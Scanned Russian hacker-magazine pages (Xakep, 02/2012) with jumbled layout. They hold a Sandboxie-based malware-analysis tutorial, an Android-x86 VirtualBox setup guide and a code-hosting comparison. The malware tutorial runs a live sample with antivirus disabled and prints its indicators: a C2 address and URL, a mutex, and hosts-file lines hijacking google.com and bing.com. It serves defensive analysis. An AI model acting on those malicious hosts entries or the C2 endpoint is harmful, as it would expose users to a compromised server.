PC ZONE1. Buster Sandbox Analyzer (bsa.isoftware.nl).2. SBIExtra (bit.ly/rDhDba). Этот плагин осуществляетперехват ряда функций для выполняемойв песочнице программы, чтобыблокировать следующие возможности:• обзор исполняемых процессов и потоков;• доступ к процессам вне пределов «песочницы»;• вызов функции BlockInput (ввод с клавиатурыи мыши);• считывание заголовков активных окон.3. Antidel (bit.ly/upYAfY). Аддон перехватываетфункции, отвечающие за удаление файлов.Таким образом, все временные файлы, командана удаление которых поступает от исходногокода, все равно остаются на своих местах.Как интегрировать их в «песочницу»? Посколькуэто не предусмотрено средствами интерфейсаSandboxie, редактировать файл конфигурациипридется вручную. В папке, куда мы установилиSandboxie, создаем папку Plugins и распаковываемв нее все подготовленные плагины. Теперьвнимание: в состав Buster Sandbox Analyzerвходит несколько библиотек с общим именемLOG_API*.dll, которые могут инжектироватьсяв процесс. Есть два типа библиотек: Verboseи Standard. Первый отображает практически полныйсписок вызовов API, выполняемых программой,включая обращения к файлам и реестру,второй — сокращенный список. Сокращениепозволяет ускорить работу и уменьшить журнал,который затем придется анализировать. Личноя не боюсь больших логов, зато опасаюсь того,что какая-нибудь нужная инфа будет заботливо«сокращена», поэтому выбираю Verbose. Именноэту библиотеку мы и будем инжектировать. Чтобызловред не смог заметить инжект библиотекипо ее имени, применим простейшую меру предосторожности:сменим имя LOG_API_VERBOSE.dllна любое другое, например LAPD.dll.Теперь в главном окне Sandboxie выбираем«Настроить Редактировать конфигурацию».Откроется текстовый конфиг со всемиСкачиваем образец малвари для анализанастройками программы. Сразу обращаемвнимание на следующие строки:• Параметр FileRootPath в разделе[GlobalSettings] указывает общий путьк папке изолированной среды, то естьк папке, где будут находиться все файлы«песочницы». У меня этот параметр имеетвид FileRootPath=C:\Sandbox\%SANDBOX%.• Раздел [UserSettings_XXXXXXX] нас не интересует— его пропускаем и листаем дальше.• Затем идет раздел, имя которого совпадаетс названием «песочницы» (пусть это будетBSA). Сюда мы и будем добавлять плагины:[BSA]InjectDll=C:\Program Files\Sandboxie\Plugins\sbiextra.dllInjectDll=C:\Program Files\Sandboxie\Plugins\antidel.dllInjectDll=C:\Program Files\Sandboxie\Plugins\LAPD.dllOpenWinClass=TFormBSAEnabled=yConfigLevel=7BoxNameTitle=nBorderColor=#0000FFNotifyInternetAccessDenied=yTemplate=BlockPortsПути, конечно, могут отличаться. Но порядокинжектируемых библиотек обязательно долженбыть именно таким! Это требование связанос тем, что перехват функций должен осуществлятьсяименно в указанном порядке, иначеплагины работать не будут. Чтобы применитьизменения, выбираем в главном окне Sandboxie:«Настроить Перезагрузить конфигурацию».Теперь настроим сам плагин Buster SandboxAnalyzer.• Запускаем плагин вручную, воспользовавшисьфайлом bsa.exe из папки Plugins.• Выбираем «Options Analysis mode Manual» и далее «Options ProgramOptions Windows Shell Integration Addright-click action "Run BSA"».Теперь всё готово для работы: наша «песочница»интегрирована в систему.ПРАКТИЧЕСКОЕ ПРИМЕНЕНИЕПопробуем наш инструмент на реальнойугрозе. Чтобы никто не упрекнул меня в подтасовке,я поступил просто: зашел на www.malwaredomainlist.com и скачал последнее,что там появилось на момент написаниястатьи. Это оказался премилый файл pp.exeс какого-то зараженного сайта. Одно тольконазвание внушает большие надежды, крометого, на этот файл сразу заорал мой антивирус.К слову, все наши манипуляции лучше производитьпри отключенном антивирусе, иначе мырискуем заблокировать/удалить что-нибудьиз того, что исследуем. Как изучить поведениябинарника? Просто нажимаем правой кнопкойна этот файл и выбираем в выпавшем менюпункт Run BSA. Откроется окно Buster SandboxAnalyzer. Внимательно смотрим в строкуSandbox folder to check. Все параметры должнысовпадать с теми, которые мы указали принастройке Sandboxie, то есть если песочницаполучила название BSA, а в качестве путик папке был задан параметр FileRootPath=C:\Sandbox\%SANDBOX%, то всё должно бытьPORTABLE-ВЕРСИЯ «ПЕСОЧНИЦЫ»Безусловно, многим не понравится, что надочто-то устанавливать, настраивать и т. д. Таккак меня всё это тоже не прельщает, я сделалпортабельную версию инструмента, которыйможно запускать без установки и настройки,прямо с флешки. Скачать такую версию можноздесь: tools.safezone.cc/gjf/Sandboxie-portable.zip.Для запуска «песочницы» достаточно выполнитьскрипт start.cmd, а по окончании работыне забыть выполнить скрипт stop.cmd, которыйполностью выгрузит драйвер и все компонентыиз памяти, а также сохранит внесенные в ходеработы изменения в портабеле.Настроек у самого портабелизатора совсемне много: его работа в основном основанана манипуляциях с файлом Sandboxie.ini.template, находящегося в папке Templates.По сути, этот файл представляет собой файлнастроек Sandboxie, который должным образомобрабатывается и передается программе,а по окончании работы перезаписываетсяобратно в Templates. Если открыть этотфайл «Блокнотом», то ты вряд ли найдешьчто-то интересное. Нужно обязательнообратить внимание на шаблон $(InstallDrive),повторяющийся в ряде параметров пути.Особенно нас интересует параметр FileRootPath.Если он имеет следующий вид:FileRootPath=$(InstallDrive)\Sandbox\%SANDBOX%— то «песочницы» будут создаватьсяна диске, где находится портабельная Sandboxie.Если же параметр имеет, например, такой вид:FileRootPath=C:\Sandbox\%SANDBOX%— иначе говоря в нем указан определенныйсистемный диск, то «песочницы» будутсоздаваться на этом диске.Лично я рекомендую всегда создаватьпесочницы на локальных дисках. Это ускоряетработу инструмента, а при запуске с флешки —ускоряет на порядки. Если же тебя настолькозамучила паранойя, что хочется всё запускатьи анализировать на любимом носителе,который ты носишь у сердца, то параметрможно поменять, но тогда хотя бы используйпортабельные жесткие диски, чтобы всёбезбожно не тормозило.038ХАКЕР 02 /157/ 2012


Игры в «песочнице»Чеклист подозрительного поведения приложенияОтчет о проведенном анализекак на скриншоте «Работает Buster SandboxAnalyzer». Если же ты знаешь толк в извращенияхи назвал песочницу по-другому илинастроил параметр FileRootPath на другойдиск или папку, его нужно изменить соответствующимобразом. В противном случае BusterSandbox Analyzer не будет знать, где искатьновые файлы и изменения в реестре.BSA включает в себя массу настроекпо анализу и изучению процесса выполнениябинарника, вплоть до перехвата сетевых пакетов.Смело нажимай кнопку Start Analysis. Окноперейдет в режим анализа. Если песочница,выбранная для анализа, по каким-то причинамсодержит результаты предыдущего исследования,утилита предложит предварительно ееочистить. Все готово к запуску исследуемогофайла.Готов? Тогда нажми на изучаемый файлправой кнопкой мыши и в открывшемся менювыбери «Запустить в песочнице», после чегоукажи ту «песочницу», к которой мы прикрутилиBSA.Сразу после этого в окне анализаторапобегут API-вызовы, которые будут фиксироватьсяв лог-файлах. Обрати внимание, чтосам Buster Sandbox Analyzer не знает, когдазавершится анализ процесса, фактическисигналом к окончанию служит именно твоежмакание на кнопку Finish Analysis. Как жеузнать, что время уже наступило? Тут можетбыть два варианта.Окна, программ запущенные в песочнице, теперь будутвыделяться1. В окне Sandboxie не отображается ни одинвыполняемый процесс. Это означает, чтовыполнение программы явно завершилось.2. В списке API-вызовов долгое время не появляетсяничего нового или, наоборот, однои то же выводится в циклической последовательности.При этом в окне Sandboxieчто-то еще выполняется. Такое бывает,если программа настроена на резидентноевыполнение или попросту зависла. В этомслучае ее необходимо вначале завершитьвручную, нажав правой кнопкой в окнеSandboxie на соответствующую «песочницу»и выбрав «Завершить программы».Кстати, при анализе моего pp.exe произошлаименно такая ситуация.После этого можно смело выбирать FinishAnalysis в окне Buster Sandbox Analyzer.АНАЛИЗ ПОВЕДЕНИЯНажав на кнопку Malware Analyzer, мы сразуполучим некоторую сводную информацию о результатахисследования. В моем случае вредоносностьфайла была совершенно очевидна:в ходе выполнения создавался и запускалсяфайл C:\Documents and Settings\Администратор\ApplicationData\dplaysvr.exe, которыйдобавлялся в автозагрузку (кстати, именноон не хотел завершаться сам), происходилосоединение с 190.9.35.199 и модифицировалсяhosts-файл. Кстати, при этом на VirusTotalфайл детектировали только пять антивирусныхдвижков, что видно из логов.Всю информацию о результатах анализаможно получить непосредственно в менюViewer в окне Buster Sandbox Analyzer.Здесь же приютился и журнал API-вызовов,который, безусловно, будет полезен приподробном исследовании. Все результатыхранятся в виде текстовых файлов в подпапкеReports папки Buster Sandbox Analyzer.Особый интерес представляет отчет Report.txt (вызывается через View Report), в которомприводится расширенная информацияпо всем файлам. Именно оттуда мы узнаём,что временные файлы на самом деле былиисполняемыми, соединение шло по адресуhttp://190.9.35.199/view.php?rnd=787714,вредонос создал специфический мутексG4FGEXWkb1VANr и т. д. Можно не толькопросматривать отчеты, но и извлекать всефайлы, созданные в ходе выполнения. Дляэтого в окне Sandboxie нажми правой кнопкойпо «песочнице» и выбери «Просмотретьсодержимое». Откроется окно проводникасо всем содержимым нашей «песочницы»:в папке drive находятся файлы, создаваемыена физических дисках «песочницы», а впапке user — файлы, создаваемые в профилеактивного пользователя (%userprofile%).Здесь я обнаружил dplaysvr.exe с библиотекойdplayx.dll, временные файлы tmp и измененныйфайл hosts. Кстати, оказалось, чтов него добавлены следующие строки:94.63.240.117 www.google.com94.63.240.118 www.bing.comУчти, что в «песочнице» валяются зараженныефайлы. Если их нечаянно запуститьдвойным кликом, ничего не будет (онизапустятся в «песочнице»), но если ты ихкуда-то скопируешь, а потом выполнишь… хм,ну, ты понял. Здесь же, в папке, можно найтидамп реестра, измененного в ходе работы,в виде файла RegHive. Этот файл можно легкоперевести в более читабельный reg-файл припомощи следующего командного скрипта:REG LOAD HKLM\uuusandboxuuu RegHiveREG EXPORT HKLM\uuusandboxuuu sandbox.regREG UNLOAD HKLM\uuusandboxuuunotepad sandbox.regТаким образом, ты получишь sandbox.reg,в котором указаны строки, внесенные зловредомв ходе выполнения. После выполненияанализа выбери в меню Options пункт Cancelanalysis, чтобы вернуть всё как было. Учти, чтопосле этой операции все журналы анализабудут удалены, но содержимое «песочницы»останется на месте. Впрочем, при следующемзапуске программа сама предложит всеудалить. zХАКЕР 02 /157/ 2012 039


PC ZONEАнтон «Ant» Жуков (a.zhukov@real.xakep.ru)Androidна x86WWWБолее подробнуюинформацию обутилите ADB и всехее параметрах тыможешь посмотретьна официальномсайте — bit.ly/2s9b0J.КАК ИСПОЛЬЗОВАТЬANDROID НА ОБЫЧНОМКОМПЕКак запустить мобильные приложения накомпьютере? В пакете для разработчикаAndroid есть специальный эмулятор,позволяющий пощупать мобильную ОС. Однапроблема — он тормозит. Прямо скажем,сильно тормозит. Но, к счастью, уже довольнодавно ведется работа над интереснымпроектом по портированию платформы Androidна платформу PC.Параметр vga=ask позволяет вручную выбрать нужный видеорежимANDROID-X86Как известно, исходники Android открыты — такова политикаGoogle. Поэтому у любого желающего в принципе есть возможностьвзять за основу исходную версию мобильной ОС и начатьразработку своей собственной ветки. Многие энтузиасты активновыпускают патчи, реализующие дополнительный функционал,которого нет в оригинальном Android.Именно так появился проект «patch hosting for android x86support». Разработчики планировали выпускать патчи для поддержкиx86-платформы. Но после нескольких месяцев работы онипоняли, что способны на большее, чем просто поставлять патчи.Так появился проект Android-x86 (www.android-x86.org) — специальнаяверсия мобильной ОС для запуска на самом обычномкомпьютере. У Android-x86, как и у Android, есть разные ветки.В качестве тестовой платформы выбран культовый нетбук EeePC, но фактически не имеет значения, куда ты будешь устанавливатьпроект. Это может быть как компьютер, так и планшетникили ноутбук (к проверенным устройствам относятся ASUS Eee,Viewsonic Viewpad 10, Dell Inspiron Mini Duo, Samsung Q1U, VilivS5, Lenovo ThinkPad x61 Tablet). Последний билд даже имеет поддержкуWi-Fi.Впрочем, если установка Android на ноутбук — это, скорее,баловство, то установка на виртуальную машину может принестивполне ощутимую пользу, особенно тем, кто хочет попробоватьсвои силы в разработке под Android, так как после установки имбудет намного удобнее тестировать приложения (правда, придетсямириться с некоторыми ограничениями, например с отсутствиемэмуляции акселерометра). Предлагаю перейти к практике.УСТАНОВКА НА ВИРТУАЛКУ1. Прежде всего стоит пойти на официальный сайт и выбрать подходящийобраз. Все образы представляют собой LiveCD.2. Выбрав подходящий исошник (я скачал android-x86-2.2-r2-asus_laptop.iso), можно приступать непосредственно к установке подвиртуальным окружением, например под бесплатным VirtualBox(www.virtualbox.org). Запускаем его и создаем новую виртуальнуюмашину со следующими параметрами:040ХАКЕР 02 /157/ 2012


Android на x86Создаем раздел для установки Android-x86Список доступных видеорежимовИмя: AndroidОперационная система: LinuxВерсия: Other Linux (или Linux 2.6)Память: 512 МбЖесткий диск: 3 ГбВ настройках виртуальной машины нужно прописать загруженныйнами образ Android-x86 в качестве DVD-привода. Послеэтого виртуалку можно запускать.3. Когда виртуальная машина загрузится с LiveCD, ты сразу видишьменю для выбора вариантов загрузки. Чтобы просто запуститьи посмотреть ОС, достаточно выбрать «Run Android-x86 withoutinstallation». Поскольку нас больше интересует установкаAndroid в качестве обычной ОС, выбираем последний пункт —«Installation Install Android-x86 to harddisk».4. После этого появится меню, предлагающее выбрать раздел дляустановки системы. Так как разделов у нас еще нет, выбираемпункт «Create/Modidy partitions», в результате чего запуститсяобычный cfdisk. Создаем новый раздел (первичный), выделяяпод него все свободное пространство, и ставим разделу флагBootable. После этого из системной утилиты можно выйти, не забывзаписать изменения.5. Теперь можно выбрать созданный раздел для установки в негооперационной системы. Указываем тип файловой системы —ext3, устанавливаем загрузчик GRUB и делаем директорию /system доступной для чтения/записи. Затем можно либо загрузитьсяв Android, или создать фейковую SD-карту, что тожеделается довольно просто. Всё, что для этого от нас требуется, —указать объем создаваемой карты.6. На этом установка завершена. Выключаем виртуалку, убираемв ее настройках примонтированный исошник Android-x86 (чтобыгрузиться уже непосредственно с жесткого диска) и запускаемзаново. Система предложит два варианта загрузки: обычныйи debug. Выбираем первый из них и получаем загруженную подвиртуалкой Android-систему. Если у тебя вдруг не заработаетмышка, зайди в меню «Машина» и выбери пункт «Выключитьинтеграцию мыши» (то же самое можно сделать нажатием RightCtrl + I).В общем-то, на данном этапе мы достигли поставленнойцели — загрузили Android на обычном компе. Для тех, кто любитставить всё самое последнее, скажу, что версия 4.0 имеет статусdevel, так что в ней могут присутствовать различные недоработки.Например, почему-то одновременно показываются графическаяоболочка и консоль. Не знаю, баг это или фича, но работатьв такой ОС очень неудобно. Образ 3.2RC2 хорош всем, кроме того,что в нем отсутствует поддержка Ethernet, которая была мненужна для отладки приложений. Но если цель всей затеи — простопоиграться с Android, то смело можешь выбирать его. Я жеостановился на ветке 2.2.ИНСТАЛЛИМ ПРИЛОЖЕНИЯИтак, система работает — что дальше? Стандартный набор приложений,поставляемый вместе с ОС, быстро приедается. Да иразве мы ради того поднимали Android-x86, чтобы оказаться зажатымив каких-то рамках? К сожалению, Android-x86 не можетиспользовать Android Market — эта опция доступна только длятех производителей железа, которые имеют лицензию Google.Поэтому новые приложения установить не так просто, как вAndroid-телефонах. Тем не менее разработчики Android-x86 по-НАСТРОЙКА ЗВУКА И ВИДЕОЗвук. После установки Android-x86 звукочень часто перестает работать. Я тожеобнаружил эту проблему, когда зашел наYoutube посмотреть ролики. К счастью, всёоказалось не так страшно, и замена звуковойкарты в настройках виртуальной машинына «Intel HD Audio» позволила устранитьсбой. Если же простое решение не помогает,на официальном сайте выложен FAQ, гдеописано, как заставить работать ICH AC97под VirtualBox (bit.ly/v4H7YQ).Видео. Операционная система Androidориентирована на широкий круг девайсов,от смартфонов до наручных часов. Очевидно,что устройства имеют разные размеры и,соответственно, разные размеры экрана,поэтому было бы здорово протестироватьразрабатываемое приложение при разныхразрешениях. Сделать это совсем несложно.Во время запуска виртуальной машины надодождаться, пока GRUB предложит вариантызагрузки ОС, и выбрать в меню пункт «Androidx862.2 (HDPI)». Далее нажимаем «e» дляредактирования записи. Появится еще одноменю, в котором следует выбрать запись вида«kernel /android-2.2/kernel /quiet root ....».Опять нажимаем «e» и в конце строки черезпробел дописываем «vga=ask». Нажимаем Enterдля сохранения и «b» для загрузки. Послеэтого на экран будут выведены все доступныевидеорежимы, останется только выбратьнужный и ввести его номер. Например, режим1152х864х32 VESA обозначен как 34С.ХАКЕР 02 /157/ 2012 041


PC ZONEОТЛАДКА ЧЕРЕЗ GSDSERVERНе могу не отметить, что Android-x86 предлагается спредустановленным GDBserver’ом, который можно найти в /sbin/gdbserver.Таким образом, у нас есть возможность использовать GDBдля отладки приложений на удаленной машине. Для этого, опятьже, необходимо поднять сеть между виртуальной и хостовой ОС какпоказано выше и запустить GDBserver:Настраиваем локальную сеть в Androidстарались максимально упростить процесс установки стороннихприложений:1. Сначала надо разрешить установку сторонних приложений изнеизвестных источников. Идем в «Settings Applications Unknown sources» и ставим здесь галочку. Если не включить этуопцию, то, попытавшись установить приложение, мы получимсообщение, что установка заблокирована.2. Если известен адрес для скачивания приложения, открываембраузер и скачиваем программу. После завершения загрузкикликаем на скачанный файл для установки. Появится окошко спросьбой подтвердить установку приложения. При удачном раскладепосле нажатия Install наше приложение начнет устанавливаться.Почему при удачном? Потому, что некоторые программымогут быть несовместимы с Android-x86. В таком случае поставитьих не получится.Чтобы еще больше упростить поиск приложений, можно воспользоватьсяутилитой AndAppStore, которая поставляется вместес Android-x86. Это своего рода аналог Android Market: весь софтздесь разбит на категории, а любая программа устанавливается вдва клика.НАСТРОЙКИ ДЛЯ ОТЛАДКИИтак, мы установили ось, поигрались с интерфейсом Android,заинсталлили программы, которые хотели посмотреть, — порапереходить к более серьезным занятиям. Я изначально собиралсяиспользовать такую систему как платформу для тестированияразрабатываемых приложений, поэтому расскажу, как этоделается.Первым делом нам понадобится настроить сеть, причем в нашемслучае она не совсем стандартная. Android-система должна иметьдоступ в интернет (что просто необходимо при написании сетевыхприложений), а также еще одно подключение к локальной сети,через которое мы могли бы связаться с нашей виртуальной машинойдля отладки приложений. Ethernet нужен, чтобы настроить NAT ввиртуальной машине и полноценно пользоваться интернетом.root@android:/ # gdbserver :1234 \[исполняемый файл приложения и полный путь к нему]Можно также воспользоваться опцией "--attach pid", чтобыприсоединиться к процессу, который уже запущен.Далее мы можем подключаться к нашей виртуалке с обычноймашины. Запускаем GDB:# gdbИ подключаемся к удаленному серверу:gdb > target remote :1234Работает!Итак, открываем раздел «Сеть» и настраиваем там дваадаптера:Адаптер 1 — NAT (в виртуальной машине будет виден какeth0, для интернета).Адаптер 2 — виртуальный адаптер хоста (в виртуальноймашине будет виден как eth1, для отладки приложений).Для продолжения требуется ребут системы. По умолчаниюAndroid x86 не может работать с двумя сетевыми адаптерами,но это легко исправить. Идем в меню для запуска приложений,переходим в «Settings Configure Ethernet» и выбираем«eth0 dhcp», после чего снова перезагружаем виртуалку. Послезагрузки необходимо перейти в консоль. Делается это оченьпросто, с помощью комбинации Alt + F1...F6 (Alt + F7 вернет насв графический интерфейс). В консоли необходимо выполнитьследующие команды:root@android:/ # netcfglo UP 127.0.0.1 255.0.0.0 0x00000049eth0 UP 10.0.2.15 255.255.255.0 0x00001043ЕСЛИ НУЖНЫ ТОЛЬКО ПРИЛОЖЕНИЯСпециально на тот случай, если нужнозапустить только Android-приложения(скажем, популярные игрушки), созданво многом уникальный проект Bluestacks(bluestacks.com), разработка которого ведетсясовместно с компанией AMD. Идея в том,чтобы не эмулировать ОС Android, а полностьювоссоздать окружение мобильной ОС длянативного выполнения программ. Что это дает?Ты можешь запускать игры в полноэкранномрежиме, и они реально не будут тормозить.Платформа позволяет запускать десятьприложений, которые идут в комплекте сней, а также устанавливать дополнительные.Это делается очень просто. Заходим в папкус установленной программой, находимфайл HD-ApkHandler.exe и создаем для негоярлык на рабочем столе. Далее скачиваеминтересующее нас приложение для Android(в виде apk-пакета) и перетаскиваем его натолько что созданный ярлык. Всё, программаустановлена — ее можно запускать. Некоторыеприложения, правда, не установятся из-запроблем с совместимостью. Некоторые другие,например Angry Birds и Fruit Ninja, помеченыкомпанией BlueStacks как «премиумприложения»,которые можно будет установитьтолько при использовании грядущей платнойверсии программы. Однако куча других игрустановится и запустится без проблем.042ХАКЕР 02 /157/ 2012


Android на x86eth1 DOWN 0.0.0.0 0.0.0.0 0x00001002root@android:/ # netcfg eth1 downroot@android:/ # netcfg eth1 dhcpaction 'dhcp' failed (invalid argument)root@android:/ # netcfg eth1 uproot@android:/ # netcfglo UP 127.0.0.1 255.0.0.0 0x00000049eth0 UP 10.0.2.15 255.255.255.0 0x00001043eth1 UP 192.168.56.101 255.255.255.0 0x00001043Теперь, как ты видишь, у нас подняты два интерфейса: один длявыхода в Сеть, другой для отладки приложений. Остается тольконастроить последнюю.ОТЛАДКА ПРИЛОЖЕНИЙДля дальнейших действий нам понадобится Android SDK которыйпридется загрузить (developer.android.com/sdk/index.html).1. Скачиваем архив android-sdk_r16-windows.zip и распаковываем.Заходим в получившуюся папку и ищем директориюplatform-tools. Ага, такой нет. Придется запустить SDKManager и установить недостающие инструменты. Выбираемкатегорию «Tool Android SDK Platform-tools». После установкидолжна появиться папка platform-tools, которая нас иинтересует.2. В папке надо найти утилиту ADB. Аббревиатура ADB расшифровываетсякак Android Debug Bridge (Отладочный мост «Андроид»).Так как операционная система от Google принадлежит ксемейству Linux, для ее настройки часто необходимо использоватькомандную строку. Конечно, существуют программы —эмуляторы терминала, которые позволяют выполнять командыпрямо на устройстве, но, во-первых, на маленьком экранетелефона это делать неудобно, а во-вторых, иногда требуетсядоступ к устройству через компьютер. В этих и многих другихслучаях программа ADB просто незаменима. Она устанавливаетсвязь между устройством и компьютером и позволяет прямо накомпьютере выполнять различные манипуляции с системойAndroid.3. Для того чтобы подключить новое устройство к системе, надоввести:adb connect 192.168.56.101Выбираем на каком эмуляторе будем отлаживать написанное приложениеconnected to 192.168.56.101:5555После этого можно просмотреть список уже подключенныхустройств, набрав команду:с:\android-sdk-windows\platform-tools>adb devicesList of devices attachedemulator-5554 device192.168.56.101:5555 deviceЗдесь emulator-5554 — дефолтный эмулятор от Google, а192.168.56.101:5555 — наша виртуальная машина.4. С этого момента наш эмулятор доступен из Eclipse, и его можноиспользовать для тестирования приложений, что нам и требовалось.ЗАКЛЮЧЕНИЕЧто я могу сказать после месяца использования Android-x86? Содной стороны, проект еще немного сыроват и некоторые недоработкизаметны невооруженным взглядом. Версия 4.0 удивиласвоим интерфейсом, в котором консоль торчала поверх графики.Версия 3.2 на первый взгляд не имела глюков в плане графики, ноне позволяла поднять сеть для отладки приложений. И только 2.2удовлетворила всем моим требованиям.С отладкой тоже всё непросто: этот способ однозначно быстрееэмулятора SDK, но полноценно отлаживать приложения лучшевсё-таки на настоящем девайсе. С другой стороны, это шикарнаявозможность запустить Android на своем компе и понять все егодостоинства и недостатки, протестировать популярные приложения,не покупая телефонов и прочих девайсов. zSHORTCUT’Ы ДЛЯ БЫСТРОЙНАВИГАЦИИУстановка приложений с помощью AndAppStore• Кнопка Windows соответствует кнопке Home в Android;• Esc соответствует кнопке «Назад» в Android;• F2 соответствует кнопке Menu;• F3 соответствует кнопке поиска;• Alt + F1 — переключение в консольный режим;• Alt + F7 — переключение в режим GUI.ХАКЕР 02 /157/ 2012 043


PC ZONEБардадым ДенисГдехранить код?ВЫБИРАЕМПРАВИЛЬНЫЙХОСТИНГ КОДАНи один нормальный программист не будет создаватьпапки вроде v001, v002 и распихивать по нимразные версии своих разработок. Вместо этогоон воспользуется системой управления версий,а репозиторий разместит онлайн, чтобы работатьс кодом могли и другие разработчики. Сделать этоможно бесплатно благодаря хостингу кода, выборомкоторого мы сегодня и займемся.INFOЕсли ты не имелдело с системойуправления версий,то перед тем, какчитать статью,загляни в архиви найди в #12/2011номере ][ статью«Git&GitHub: с местав карьер».044ХАКЕР 02 /157/ 2012


Где хранить код?то такое хостинг кода? Это место, кудаты при помощи твоей любимой системыЧконтроля версий можешь загрузить свойкод. Таким образом, с кодом смогут работатьнесколько программистов. При этом хостингпоможет с раздачей прав на проекте и позволитследить за вносимыми в него изменениями.Подобные сервисы предоставляют ряд инструментовдля разработки и поддержки проекта,например wiki для составления документациии issue tracker для фиксирования проблем. Болеетого, пользователи одного сервиса, как правило,становятся членами активного компьюнити, чтолучше всего видно на примере GitHub, речь о которомпойдет ниже. Но обо всём по порядку.SourceForgewww.sourceforge.netПоддерживаемые системы контроля версий:CVS, SVN, Git, Mercurial, Bazaar.Проекты:Только под свободной лицензией.Основные возможности:Wiki, bug tracking, code review, почтовые рассылки,форум, shell-сервер.SourceForgeSourceForge является одним из родоначальниковсервисов для хостинга проектовс открытым исходным кодом. Для каждогопроекта предоставляется уникальный доменимя_проекта.sourceforge.net, который полностьюпопадает в распоряжение владельца.Одной из ключевых является возможностьбыстро развертывать дополнительные приложения.Как тебе идея установить, скажем,issue tracker? Если тебе не нравится используемыйпо умолчанию mediocre, ты можешьвыбрать trac или какой-нибудь еще. То жесамое относится и к другим приложениям,которые также можно развернуть: wiki, форум,блог и т. д. Более того, даже если ни однапредустановленная программа не подошла,ты всегда можешь установить сторонние приложения.Для этого предоставляется shellсервер,который позволяет загружать рабочиефайлы по FTP или SCP. Приложение должнобыть написано на PHP/Ruby/Python и использоватьв качестве базы данных MySQL.Подобная расширяемость и навороченностьзатрудняет освоение сервиса: новичку такойперегруженный интерфейс может показатьсяизлишним. С другой стороны, если тебе чеготоне хватает на других хостингах кода, тоздесь ты можешь реализовать любой необходимыйфункционал. Стоит отметить, что самаплатформа SourceForge изначально былаоткрыта: ее мог развернуть любой желающий.Однако с 2000 года исходники закрыли —остался лишь форк Savannah.Резюме: Для эстетов.Google Codecode.google.com/hostingПоддерживаемые системы контроля версий:GIT, SVN, Mercurial.Проекты: с открытым исходным кодом.Основные возможности:code review, wiki, release hosting, issue tracker.Изначально предполагалось, что этотхостинг проектов от Google станет убийцейSourceForge. Сейчас это один из самых простыхв освоении сервисов. По умолчаниюдля каждого проекта доступны wiki, issuetracker и репозиторий исходного кода. Гибкиенастройки позволяют менять названия и содержаниеуказанных страниц. К примеру, еслиты уже хранишь исходники, скажем, на GitHubи не хочешь размещать их на Google Code,то просто создаешь страницу wiki с адресомрепозитория (чтобы пользователи нашли твоиисходники) и указываешь ее в качестве содержаниястраницы Sources. Стоит также отметитьудобство настройки issue-трекера и релизовфайлов. Можно задавать свои собственныестатусы для issue и метки для выложенныхфайлов. И наверное, самая главная особенностьэтого хостинга заключается в том, что онзадействует другие сервисы Google. Почтоваярассылка осуществляется с помощью Gmail.Google Groups объединены с issue tracker'ом.Google CodeВ качестве учетных записей, естественно, используютсяаккаунты Google.Резюме: Для фанатов Google и новичков.Assemblawww.assembla.comПоддерживаемые системы контроля версий:Git, SVN, Mercurial.Проекты:бесплатные аккаунты для опенсорсных проектови платные подписки.Основные возможности:wiki, tickets, code review, ftp, time tracker, buildsystem.Этот сервис в некотором роде уникаленпо своим возможностям. Он имеет какобычные для других хостингов фишки,так и совершенно уникальные. В их числовходит поддержка шаблонов отчетов Scrum(популярная сегодня методика управленияразработкой информационных систем), продвинутаясистема тикетов, а также инструментыпланирования для гибкой методологииразработки (Agile). Сервис явно рассчитанне на социализацию, а на активную работу:он хорошо подойдет средним и большимкомандам разработчиков. Здесь есть такиеинструменты для совместной работы, какwiki, files, messages (хорошая замена почтовойрассылке), отчеты о проделанной работе,групповой видеочат, а также так называемый«поток активности», который очень нагляднопоказывает состояние проекта, а такжевыполняемые задачи. Среди огромного количестваклиентов (а их больше полумиллиона)Assemblaесть немало крупных компаний, которым необходимысредства для управления работойнад проектом: метрики, статистика кода, timetracking и т. д.Резюме: Для больших команд и компаний.ХАКЕР 02 /157/ 2012 045


PC ZONEBitbucketbitbucket.orgПоддерживаемые системы контроля версий:Git, Mercurial.Проекты:неограниченное количество открытыхи закрытых репозиториев с возможностьюдобавлять до пяти коллабораторов (коллабораторамиобычно называют соразработчиков).Платные подписки.Многие программисты знакомы с багтрекеромJIRA, который используется вомногих крупных компаниях. Это разработкаизвестной австралийской компании Atlassian,в портфеле продуктов которой, помимо прочего,есть и хостинг кода. Bitbucket (Корзинабитов) с функциональной точки зренияпредлагает то же самое, что и GitHub. Однакоосновой этого хостинга является не системаконтроля версий Git, а Mercurial, что сталоодной из ключевых причин его популярности.Сейчас используемая система контроля версийне так уж и важна: хостинг поддерживаети Mercurial, и Git. Самая же главная киллерфича,из-за которой многие отдают предпочтениеименно Bitbucket, — это возможность бесплатносоздавать неограниченное количествозакрытых репозиториев кода (в каждом можетбыть до пяти участников). У GitHub за подобнуюуслугу пришлось бы платить денежки. К томуже проект здесь никак не ограничен в объемедискового пространства. Хостинг может помочьпереехать с других сервисов (ты простоуказываешь адрес, а остальное он сделаетсам), а благодаря сходству интерфейса с интерфейсомGitHub переезд будет безболезненным.Но следует заметить, что у сервиса слаборазвиты инструменты для review кода — нетвозможности комментировать отрывки кодаBitbucketи начинать процесс review как таковой. ЗатоBitbucket предлагает удобную интеграциюс другими сервисами, например хотя бы с темже самым баг-текером JIRA, а REST API позволяетсоздать привязку для любого другогоинструмента (хотя такой API есть и у GitHub).Резюме: Для фанатов Git и Mercurial.GitHubgithub.comПоддерживаемые системы контроля версий:Git, SVN (git-svn).Проекты:бесплатные публичные репозитории (300 МБобщего дискового пространства), платныеподписки (закрытые репозитории), командныеаккаунты.Основные возможности:code review, fork, wiki, issue tracker, почтовыерассылки, сохранения заметок.Лозунг этого хостинга, непосредственно отражающийего философию, — социальный кодинг.Здесь все крутится вокруг кода и совместнойработы разработчиков. После авторизацииты увидишь что-то вроде страницы в Facebook— только вместо новостей друзей здесь отображаютсяизменения в интересующих тебяпроектах и активность программистов. Этолучшая площадка, чтобы найти энтузиастов,которые могли бы принять участие в твоем проекте,или с головой окунуться в идею, которуюкто-то здесь уже развивает. В погоне за социализациейразработчики не оставили безвнимания и самое важное — работу с кодом.Чего стоит один только просмотрщик изменений(diff viewer), с помощью которого ты можешькомментировать и обсуждать любую строчкукода. Чтобы создать форк проекта, требуетсявсего лишь дважды кликнуть мышью. Если тыхочешь, чтобы твои изменения попали в основнойрепозиторий, следует отправить специальныйзапрос (так называемый pull request)его владельцу. Основой сервиса являетсяраспределенная система контроля версий Git.Веб-интерфейс с легкостью позволяет делатьфорки, накладывать патчи, предлагать слияния(merge requests). Тут же можно развернутьдискуссию — 